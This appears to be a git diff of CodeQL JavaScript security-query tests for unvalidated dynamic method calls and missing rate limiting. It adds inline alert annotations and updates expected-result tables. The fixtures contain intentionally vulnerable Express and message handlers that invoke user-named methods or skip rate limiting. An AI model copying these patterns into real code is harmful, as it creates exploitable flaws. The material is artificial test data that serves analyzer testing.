+| tst.js:11:9:11:12 | name | tst.js:11:5:11:13 | obj[name] | provenance | Config |
+| tst.js:17:9:17:22 | fn | tst.js:18:5:18:6 | fn | provenance |  |
+| tst.js:17:9:17:22 | fn | tst.js:20:7:20:8 | fn | provenance |  |
+| tst.js:17:9:17:22 | fn | tst.js:22:11:22:12 | fn | provenance |  |
+| tst.js:17:14:17:22 | obj[name] | tst.js:17:9:17:22 | fn | provenance |  |
+| tst.js:17:18:17:21 | name | tst.js:17:14:17:22 | obj[name] | provenance | Config |
+| tst.js:21:11:21:14 | name | tst.js:21:7:21:15 | obj[name] | provenance | Config |
+| tst.js:26:11:26:14 | name | tst.js:26:7:26:15 | obj[name] | provenance | Config |
+| tst.js:28:11:28:14 | name | tst.js:28:7:28:15 | obj[name] | provenance | Config |
+| tst.js:34:9:34:24 | key | tst.js:35:9:35:11 | key | provenance |  |
+| tst.js:34:9:34:24 | key | tst.js:37:11:37:13 | key | provenance |  |
+| tst.js:34:15:34:24 | "$" + name | tst.js:34:9:34:24 | key | provenance |  |
+| tst.js:34:21:34:24 | name | tst.js:34:15:34:24 | "$" + name | provenance | Config |
+| tst.js:35:9:35:11 | key | tst.js:35:5:35:12 | obj[key] | provenance | Config |
+| tst.js:37:11:37:13 | key | tst.js:37:7:37:14 | obj[key] | provenance | Config |
+| tst.js:47:39:47:40 | ev | tst.js:48:27:48:28 | ev | provenance |  |
+| tst.js:48:9:48:39 | name | tst.js:49:19:49:22 | name | provenance |  |
+| tst.js:48:16:48:34 | JSON.parse(ev.data) | tst.js:48:16:48:39 | JSON.pa ... a).name | provenance | Config |
+| tst.js:48:16:48:39 | JSON.pa ... a).name | tst.js:48:9:48:39 | name | provenance |  |
+| tst.js:48:27:48:28 | ev | tst.js:48:27:48:33 | ev.data | provenance | Config |
+| tst.js:48:27:48:33 | ev.data | tst.js:48:16:48:34 | JSON.parse(ev.data) | provenance | Config |
+| tst.js:49:9:49:23 | fn | tst.js:50:5:50:6 | fn | provenance |  |
+| tst.js:49:14:49:23 | obj2[name] | tst.js:49:9:49:23 | fn | provenance |  |
+| tst.js:49:19:49:22 | name | tst.js:49:14:49:23 | obj2[name] | provenance | Config |
 nodes
 | UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | semmle.label | ev |
 | UnsafeDynamicMethodAccess.js:6:9:6:37 | message | semmle.label | message |
@@ -59,75 +130,4 @@ nodes
 | tst.js:49:14:49:23 | obj2[name] | semmle.label | obj2[name] |
 | tst.js:49:19:49:22 | name | semmle.label | name |
 | tst.js:50:5:50:6 | fn | semmle.label | fn |
-edges
-| UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | UnsafeDynamicMethodAccess.js:6:30:6:31 | ev | provenance |  |
-| UnsafeDynamicMethodAccess.js:6:9:6:37 | message | UnsafeDynamicMethodAccess.js:15:9:15:15 | message | provenance |  |
-| UnsafeDynamicMethodAccess.js:6:19:6:37 | JSON.parse(ev.data) | UnsafeDynamicMethodAccess.js:6:9:6:37 | message | provenance |  |
-| UnsafeDynamicMethodAccess.js:6:30:6:31 | ev | UnsafeDynamicMethodAccess.js:6:30:6:36 | ev.data | provenance | Config |
-| UnsafeDynamicMethodAccess.js:6:30:6:36 | ev.data | UnsafeDynamicMethodAccess.js:6:19:6:37 | JSON.parse(ev.data) | provenance | Config |
-| UnsafeDynamicMethodAccess.js:15:9:15:15 | message | UnsafeDynamicMethodAccess.js:15:9:15:20 | message.name | provenance | Config |
-| UnsafeDynamicMethodAccess.js:15:9:15:20 | message.name | UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | provenance | Config |
-| UnvalidatedDynamicMethodCall2.js:13:9:13:47 | action | UnvalidatedDynamicMethodCall2.js:14:13:14:18 | action | provenance |  |
-| UnvalidatedDynamicMethodCall2.js:13:18:13:47 | actions ... action) | UnvalidatedDynamicMethodCall2.js:13:9:13:47 | action | provenance |  |
-| UnvalidatedDynamicMethodCall2.js:13:30:13:46 | req.params.action | UnvalidatedDynamicMethodCall2.js:13:18:13:47 | actions ... action) | provenance | Config |
-| UnvalidatedDynamicMethodCall.js:14:7:14:41 | action | UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | provenance |  |
-| UnvalidatedDynamicMethodCall.js:14:16:14:41 | actions ... action] | UnvalidatedDynamicMethodCall.js:14:7:14:41 | action | provenance |  |
-| UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | UnvalidatedDynamicMethodCall.js:14:16:14:41 | actions ... action] | provenance | Config |
-| UnvalidatedDynamicMethodCallGood4.js:14:13:14:51 | action | UnvalidatedDynamicMethodCallGood4.js:15:17:15:22 | action | provenance |  |
-| UnvalidatedDynamicMethodCallGood4.js:14:22:14:51 | actions ... action) | UnvalidatedDynamicMethodCallGood4.js:14:13:14:51 | action | provenance |  |
-| UnvalidatedDynamicMethodCallGood4.js:14:34:14:50 | req.params.action | UnvalidatedDynamicMethodCallGood4.js:14:22:14:51 | actions ... action) | provenance | Config |
-| tst.js:6:39:6:40 | ev | tst.js:7:27:7:28 | ev | provenance |  |
-| tst.js:6:39:6:40 | ev | tst.js:9:9:9:10 | ev | provenance |  |
-| tst.js:7:9:7:39 | name | tst.js:11:9:11:12 | name | provenance |  |
-| tst.js:7:9:7:39 | name | tst.js:17:18:17:21 | name | provenance |  |
-| tst.js:7:9:7:39 | name | tst.js:21:11:21:14 | name | provenance |  |
-| tst.js:7:9:7:39 | name | tst.js:26:11:26:14 | name | provenance |  |
-| tst.js:7:9:7:39 | name | tst.js:28:11:28:14 | name | provenance |  |
-| tst.js:7:9:7:39 | name | tst.js:34:21:34:24 | name | provenance |  |
-| tst.js:7:16:7:34 | JSON.parse(ev.data) | tst.js:7:16:7:39 | JSON.pa ... a).name | provenance | Config |
-| tst.js:7:16:7:39 | JSON.pa ... a).name | tst.js:7:9:7:39 | name | provenance |  |
-| tst.js:7:27:7:28 | ev | tst.js:7:27:7:33 | ev.data | provenance | Config |
-| tst.js:7:27:7:33 | ev.data | tst.js:7:16:7:34 | JSON.parse(ev.data) | provenance | Config |
-| tst.js:9:9:9:10 | ev | tst.js:9:9:9:15 | ev.data | provenance | Config |
-| tst.js:9:9:9:15 | ev.data | tst.js:9:5:9:16 | obj[ev.data] | provenance | Config |
-| tst.js:11:9:11:12 | name | tst.js:11:5:11:13 | obj[name] | provenance | Config |
-| tst.js:17:9:17:22 | fn | tst.js:18:5:18:6 | fn | provenance |  |
-| tst.js:17:9:17:22 | fn | tst.js:20:7:20:8 | fn | provenance |  |
-| tst.js:17:9:17:22 | fn | tst.js:22:11:22:12 | fn | provenance |  |
-| tst.js:17:14:17:22 | obj[name] | tst.js:17:9:17:22 | fn | provenance |  |
-| tst.js:17:18:17:21 | name | tst.js:17:14:17:22 | obj[name] | provenance | Config |
-| tst.js:21:11:21:14 | name | tst.js:21:7:21:15 | obj[name] | provenance | Config |
-| tst.js:26:11:26:14 | name | tst.js:26:7:26:15 | obj[name] | provenance | Config |
-| tst.js:28:11:28:14 | name | tst.js:28:7:28:15 | obj[name] | provenance | Config |
-| tst.js:34:9:34:24 | key | tst.js:35:9:35:11 | key | provenance |  |
-| tst.js:34:9:34:24 | key | tst.js:37:11:37:13 | key | provenance |  |
-| tst.js:34:15:34:24 | "$" + name | tst.js:34:9:34:24 | key | provenance |  |
-| tst.js:34:21:34:24 | name | tst.js:34:15:34:24 | "$" + name | provenance | Config |
-| tst.js:35:9:35:11 | key | tst.js:35:5:35:12 | obj[key] | provenance | Config |
-| tst.js:37:11:37:13 | key | tst.js:37:7:37:14 | obj[key] | provenance | Config |
-| tst.js:47:39:47:40 | ev | tst.js:48:27:48:28 | ev | provenance |  |
-| tst.js:48:9:48:39 | name | tst.js:49:19:49:22 | name | provenance |  |
-| tst.js:48:16:48:34 | JSON.parse(ev.data) | tst.js:48:16:48:39 | JSON.pa ... a).name | provenance | Config |
-| tst.js:48:16:48:39 | JSON.pa ... a).name | tst.js:48:9:48:39 | name | provenance |  |
-| tst.js:48:27:48:28 | ev | tst.js:48:27:48:33 | ev.data | provenance | Config |
-| tst.js:48:27:48:33 | ev.data | tst.js:48:16:48:34 | JSON.parse(ev.data) | provenance | Config |
-| tst.js:49:9:49:23 | fn | tst.js:50:5:50:6 | fn | provenance |  |
-| tst.js:49:14:49:23 | obj2[name] | tst.js:49:9:49:23 | fn | provenance |  |
-| tst.js:49:19:49:22 | name | tst.js:49:14:49:23 | obj2[name] | provenance | Config |
 subpaths
-#select
-| UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | user-controlled |
-| UnvalidatedDynamicMethodCall2.js:14:13:14:18 | action | UnvalidatedDynamicMethodCall2.js:13:30:13:46 | req.params.action | UnvalidatedDynamicMethodCall2.js:14:13:14:18 | action | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | UnvalidatedDynamicMethodCall2.js:13:30:13:46 | req.params.action | user-controlled |
-| UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | user-controlled |
-| UnvalidatedDynamicMethodCallGood4.js:15:17:15:22 | action | UnvalidatedDynamicMethodCallGood4.js:14:34:14:50 | req.params.action | UnvalidatedDynamicMethodCallGood4.js:15:17:15:22 | action | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | UnvalidatedDynamicMethodCallGood4.js:14:34:14:50 | req.params.action | user-controlled |
-| tst.js:9:5:9:16 | obj[ev.data] | tst.js:6:39:6:40 | ev | tst.js:9:5:9:16 | obj[ev.data] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
-| tst.js:11:5:11:13 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:11:5:11:13 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
-| tst.js:18:5:18:6 | fn | tst.js:6:39:6:40 | ev | tst.js:18:5:18:6 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
-| tst.js:20:7:20:8 | fn | tst.js:6:39:6:40 | ev | tst.js:20:7:20:8 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
-| tst.js:21:7:21:15 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:21:7:21:15 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
-| tst.js:22:11:22:12 | fn | tst.js:6:39:6:40 | ev | tst.js:22:11:22:12 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
-| tst.js:26:7:26:15 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:26:7:26:15 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
-| tst.js:28:7:28:15 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:28:7:28:15 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
-| tst.js:35:5:35:12 | obj[key] | tst.js:6:39:6:40 | ev | tst.js:35:5:35:12 | obj[key] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
-| tst.js:37:7:37:14 | obj[key] | tst.js:6:39:6:40 | ev | tst.js:37:7:37:14 | obj[key] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
-| tst.js:50:5:50:6 | fn | tst.js:47:39:47:40 | ev | tst.js:50:5:50:6 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:47:39:47:40 | ev | user-controlled |
diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.js b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.js
index b7d99c2c9eec..c8223daf2010 100644
--- a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.js
+++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.js
@@ -11,6 +11,6 @@ var actions = {
 }
 
 app.get('/perform/:action/:payload', function(req, res) {
-  let action = actions[req.params.action];
-  res.end(action(req.params.payload));
+  let action = actions[req.params.action]; // $ Source
+  res.end(action(req.params.payload)); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.qlref b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.qlref
index 37cbe7fb20e8..83b2600919d9 100644
--- a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.qlref
@@ -1 +1,2 @@
-Security/CWE-754/UnvalidatedDynamicMethodCall.ql
+query: Security/CWE-754/UnvalidatedDynamicMethodCall.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall2.js b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall2.js
index 90623106b0ec..cd6aa9fb994a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall2.js
@@ -10,6 +10,6 @@ actions.put("pause", function pause(data) {
 });
 
 app.get('/perform/:action/:payload', function(req, res) {
-    let action = actions.get(req.params.action);
-    res.end(action(req.params.payload)); // NOT OK 
+    let action = actions.get(req.params.action); // $ Source
+    res.end(action(req.params.payload)); // $ Alert
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall3.js b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall3.js
index a26da6674464..4d620d1feaff 100644
--- a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall3.js
+++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall3.js
@@ -12,6 +12,6 @@ actions.set("pause", function pause(data) {
 app.get('/perform/:action/:payload', function(req, res) {
     if (actions.has(req.params.action)) {
         let action = actions.get(req.params.action);
-        res.end(action(req.params.payload)); // NOT OK, but not flagged [INCONSISTENCY]
+        res.end(action(req.params.payload)); // $ MISSING: Alert
     }
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood.js b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood.js
index 3948e790a64f..2cc2d898fa02 100644
--- a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood.js
@@ -13,7 +13,7 @@ app.get('/perform/:action/:payload', function (req, res) {
   if (actions.has(req.params.action)) {
     if (typeof actions.get(req.params.action) === 'function') {
       let action = actions.get(req.params.action);
-      // GOOD: `action` is either the `play` or the `pause` function from above
+      // OK - `action` is either the `play` or the `pause` function from above
       res.end(action(req.params.payload));
     }
   } else {
diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood3.js b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood3.js
index 05ee632f4e60..513b723eab94 100644
--- a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood3.js
+++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood3.js
@@ -12,7 +12,7 @@ actions.put("pause", function pause(data) {
 app.get('/perform/:action/:payload', function(req, res) {
     let action = actions.get(req.params.action);
     if (typeof action === 'function') {
-        res.end(action(req.params.payload)); // GOOD: `action` is either the `play` or the `pause` function from above
+        res.end(action(req.params.payload)); // OK - `action` is either the `play` or the `pause` function from above
     } else {
         res.end("Unsupported action.");
     }
diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood4.js b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood4.js
index 0c2b499044a3..734462c244d1 100644
--- a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood4.js
+++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCallGood4.js
@@ -11,9 +11,9 @@ actions.put("pause", function pause(data) {
 
 app.get('/perform/:action/:payload', function(req, res) {
     if (typeof actions.get(req.params.action) === 'function') {
-        let action = actions.get(req.params.action);
-        res.end(action(req.params.payload));  // OK but flagged [INCONSISTENCY]. `action` is either the `play` or the `pause` function from above
+        let action = actions.get(req.params.action); // $ Source
+        res.end(action(req.params.payload));  // $ SPURIOUS: Alert - `action` is either the `play` or the `pause` function from above
     } else {
         res.end("Unsupported action.");
     }
-});
\ No newline at end of file
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-754/tst.js b/javascript/ql/test/query-tests/Security/CWE-754/tst.js
index b3c7625179a6..b0709ec00ade 100644
--- a/javascript/ql/test/query-tests/Security/CWE-754/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-754/tst.js
@@ -3,52 +3,52 @@
     foo() {}
   };
 
-  window.addEventListener('message', (ev) => {
+  window.addEventListener('message', (ev) => { // $ Source
     let name = JSON.parse(ev.data).name;
 
-    obj[ev.data](); // NOT OK: might not be a function
+    obj[ev.data](); // $ Alert - might not be a function
 
-    obj[name]();    // NOT OK: might not be a function
+    obj[name]();    // $ Alert - might not be a function
 
     try {
-      obj[name]();  // OK: exception is caught
+      obj[name]();  // OK - exception is caught
     } catch(e) {}
 
     let fn = obj[name];
-    fn();           // NOT OK: might not be a function
+    fn();           // $ Alert - might not be a function
     if (typeof fn == 'function') {
-      fn();         // NOT OK: might be `valueOf`
-      obj[name]();  // NOT OK: might be `__defineSetter__`
-      new fn();     // NOT OK: might be `valueOf` or `toString`
+      fn();         // $ Alert - might be `valueOf`
+      obj[name]();  // $ Alert - might be `__defineSetter__`
+      new fn();     // $ Alert - might be `valueOf` or `toString`
     }
 
     if (obj[name])
-      obj[name]();  // NOT OK
+      obj[name]();  // $ Alert
     if (typeof obj[name] === 'function')
-      obj[name]();  // NOT OK
+      obj[name]();  // $ Alert
 
     if (obj.hasOwnProperty(name)) {
-      obj[name]();  // NOT OK, but not flagged [INCONSISTENCY]
+      obj[name]();  // $ MISSING: Alert
     }
 
     let key = "$" + name;
-    obj[key]();     // NOT OK
+    obj[key]();     // $ Alert
     if (typeof obj[key] === 'function')
-      obj[key]();   // OK - but still flagged [INCONSISTENCY]
+      obj[key]();   // $ SPURIOUS: Alert
 
     if (typeof fn === 'function') {
-      fn.apply(obj); // OK
+      fn.apply(obj);
     }
   });
 
   let obj2 = Object.create(null);
   obj2.foo = function() {};
 
-  window.addEventListener('message', (ev) => {
+  window.addEventListener('message', (ev) => { // $ Source
     let name = JSON.parse(ev.data).name;
     let fn = obj2[name];
-    fn();           // NOT OK: might not be a function
+    fn();           // $ Alert - might not be a function
     if (typeof fn == 'function')
-      fn();         // OK: cannot be from prototype
+      fn();         // OK - cannot be from prototype
   });
 })();
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.js b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.js
index 3fd3780bf860..8d89560e51f7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.js
+++ b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.js
@@ -5,7 +5,7 @@ app.get('/:path', function(req, res) {
   let path = req.params.path;
   if (isValidPath(path))
     res.sendFile(path);
-});
+}); // $ Alert
 
 function f1(req, res) {
   let path = req.params.path;
@@ -22,4 +22,4 @@ function f3(req, res) {
     res.sendFile(path);
 }
 
-app.get('/:path', f1, f2, f3);
+app.get('/:path', f1, f2, f3); // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.qlref b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.qlref
index b32704b51610..2fa46c1f05f4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.qlref
@@ -1 +1,2 @@
-Security/CWE-770/MissingRateLimiting.ql
+query: Security/CWE-770/MissingRateLimiting.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst.js b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst.js
index 1d8efbcb5a0d..4f778afef684 100644
--- a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst.js
@@ -19,50 +19,50 @@ function inexpensiveHandler(req, res) { res.send("Hi"); }
 
 function mkSubRouter1() {
   var router = new express.Router();
-  router.get('/:path', expensiveHandler1); // NOT OK
+  router.get('/:path', expensiveHandler1); // $ Alert
   return router;
 }
 
 function mkSubRouter2() {
   var router = new express.Router();
-  router.get('/:path', expensiveHandler1); // OK
+  router.get('/:path', expensiveHandler1);
   return router;
 }
 
 var app1 = express();
 
 // no rate limiting
-app1.get('/:path', expensiveHandler1);  // NOT OK
-app1.get('/:path', expensiveHandler2);  // NOT OK
-app1.get('/:path', expensiveHandler3);  // NOT OK
-app1.get('/:path', expensiveHandler4);  // NOT OK
-app1.get('/:path', inexpensiveHandler); // OK
+app1.get('/:path', expensiveHandler1);  // $ Alert
+app1.get('/:path', expensiveHandler2);  // $ Alert
+app1.get('/:path', expensiveHandler3);  // $ Alert
+app1.get('/:path', expensiveHandler4);  // $ Alert
+app1.get('/:path', inexpensiveHandler);
 app1.use(mkSubRouter1());
 
 // rate limiting using express-rate-limit
 var RateLimit = require('express-rate-limit');
 var limiter = new RateLimit();
 app1.use(limiter);
-app1.get('/:path', expensiveHandler1);  // OK
-app1.get('/:path', expensiveHandler2);  // OK
-app1.get('/:path', expensiveHandler3);  // OK
-app1.get('/:path', expensiveHandler4);  // OK
-app1.get('/:path', inexpensiveHandler); // OK
+app1.get('/:path', expensiveHandler1);
+app1.get('/:path', expensiveHandler2);
+app1.get('/:path', expensiveHandler3);
+app1.get('/:path', expensiveHandler4);
+app1.get('/:path', inexpensiveHandler);
 app1.use(mkSubRouter2());
 
 // rate limiting using express-brute
 var app2 = express();
 var ExpressBrute = require('express-brute');
 var bruteforce = new ExpressBrute();
-app2.get('/:path', bruteforce.prevent, expensiveHandler1); // OK
+app2.get('/:path', bruteforce.prevent, expensiveHandler1);
 
 // rate limiting using express-limiter
 var app3 = express();
 require('express-limiter')(app3)({ method: 'get', path: '/' });
-app3.get('/:path', expensiveHandler1); // OK
+app3.get('/:path', expensiveHandler1);
 
-express().get('/:path', function(req, res) { verifyUser(req); });  // NOT OK
-express().get('/:path', RateLimit(), function(req, res) { verifyUser(req); });  // OK
+express().get('/:path', function(req, res) { verifyUser(req); });  // $ Alert
+express().get('/:path', RateLimit(), function(req, res) { verifyUser(req); });
 
 // rate limiting using rate-limiter-flexible
 const { RateLimiterRedis } = require('rate-limiter-flexible');
@@ -73,10 +73,10 @@ const rateLimiterMiddleware = (req, res, next) => {
 express().get('/:path', rateLimiterMiddleware, expensiveHandler1);
 
 const catchAsync = fn => (...args) => fn(...args).catch(args[2]);
-express().get('/:path', catchAsync(expensiveHandler1)); // NOT OK
-express().get('/:path', rateLimiterMiddleware, catchAsync(expensiveHandler1)); // OK
-express().get('/:path', catchAsync(rateLimiterMiddleware), expensiveHandler1); // OK
-express().get('/:path', catchAsync(rateLimiterMiddleware), catchAsync(expensiveHandler1)); // OK
+express().get('/:path', catchAsync(expensiveHandler1)); // $ Alert
+express().get('/:path', rateLimiterMiddleware, catchAsync(expensiveHandler1));
+express().get('/:path', catchAsync(rateLimiterMiddleware), expensiveHandler1);
+express().get('/:path', catchAsync(rateLimiterMiddleware), catchAsync(expensiveHandler1));
 
 function errorHandler(req, res, next) {
   next(makeOAuthError(req, res));
@@ -85,6 +85,6 @@ express().use(errorHandler); // OK - does not perform authentication
 
 const fastifyApp = require('fastify')();
 
-fastifyApp.get('/foo', expensiveHandler1); // NOT OK
+fastifyApp.get('/foo', expensiveHandler1); // $ Alert
 fastifyApp.register(require('fastify-rate-limit'));
-fastifyApp.get('/bar', expensiveHandler1); // OK
+fastifyApp.get('/bar', expensiveHandler1);
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst2.ts b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst2.ts
index 32e04e2ff206..f0aa8868587b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst2.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst2.ts
@@ -4,5 +4,5 @@ import rateLimiter from './rateLimit';
 const app = express();
 app.use(rateLimiter);
 app.get('/', (req, res) => {
-    res.sendFile('index.html'); // OK
+    res.sendFile('index.html');
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst3.js b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst3.js
index b1bbc538ed95..35108f8d8769 100644
--- a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst3.js
+++ b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst3.js
@@ -7,4 +7,4 @@ const limiter = rateLimit();
 app.use(limiter)
 
 function expensiveHandler(req, res) { login(); }
-app.get('/:path', expensiveHandler);  // OK
\ No newline at end of file
+app.get('/:path', expensiveHandler);
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst4.js b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst4.js
index ba927b872c8f..04398b79bb28 100644
--- a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst4.js
+++ b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/tst4.js
@@ -7,4 +7,4 @@ const limiter = rateLimit();
 app.use(limiter)
 
 function expensiveHandler(req, res) { login(); }
-app.get('/:path', expensiveHandler);  // OK
\ No newline at end of file
+app.get('/:path', expensiveHandler);
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/Consistency.ql b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/Consistency.ql
deleted file mode 100644
index a5da63e682d0..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/Consistency.ql
+++ /dev/null
@@ -1,3 +0,0 @@
-import javascript
-import semmle.javascript.security.dataflow.ResourceExhaustionQuery
-deprecated import utils.test.ConsistencyChecking
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/ResourceExhaustion.expected b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/ResourceExhaustion.expected
index 7ca545489969..0d90beb06695 100644
--- a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/ResourceExhaustion.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/ResourceExhaustion.expected
@@ -1,3 +1,24 @@
+#select
+| documentaion-examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | documentaion-examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentaion-examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | This creates a timer with a user-controlled duration from a $@. | documentaion-examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | user-provided value |
+| resource-exhaustion.js:14:16:14:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:14:16:14:16 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:15:22:15:22 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:15:22:15:22 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:16:26:16:26 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:16:26:16:26 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:20:20:20:20 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:20:20:20:20 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:22:18:22:18 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:22:18:22:18 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
